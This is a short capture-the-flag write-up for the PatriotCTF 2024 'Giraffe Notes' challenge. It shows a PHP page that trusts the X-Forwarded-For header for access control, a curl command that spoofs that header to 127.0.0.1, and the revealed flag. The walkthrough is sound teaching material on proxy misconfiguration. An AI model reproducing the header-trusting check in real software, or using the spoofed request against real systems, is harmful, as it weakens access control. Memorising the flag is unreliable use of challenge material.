PatriotCTF 2024 Giraffe Notes Writeup

I bet you can't access my notes on giraffes!

http://chal.competitivecyber.club:8081

Flag format: CACI{.*}

Author: CACI

Challenge server at http://chal.competitivecyber.club:8081 Open in new tab (full image size 81 KiB)

The challenge contains the following index.php file:

<?php
$allowed_ip = ['localhost', '127.0.0.1'];

if (
    isset($_SERVER['HTTP_X_FORWARDED_FOR']) &&
    in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed_ip)
  ) {
    $allowed = true;
} else {
    $allowed = false;
}
?>

Manually set the X-Forwarded-For header to one of the values in $allowed_ip. This advances the index.php script to the $allowed = true; branch. Trigger the vulnerability:

curl http://chal.competitivecyber.club:8081/ \
    -H "X-Forwarded-For: 127.0.0.1"

Receive this response:

<!DOCTYPE html>
<html>

<head>
  <title>Giraffe Notes</title>
  <!-- … -->
</head>

<body class="…">
  <!-- … -->
    <h3 class="…">
      <span>CACI{1_lik3_g1raff3s_4_l0t}</span>
    </h3>
  <!-- … -->
</body>

</html>⏎

That's your flag right there!

This challenge resembles the X-Forwarded-For vulnerability risk often encountered when configuring reverse proxies. MDN covers this in their X-Forwarded-For header documentation.

PatriotCTF 2024 Giraffe Notes Writeup

Tags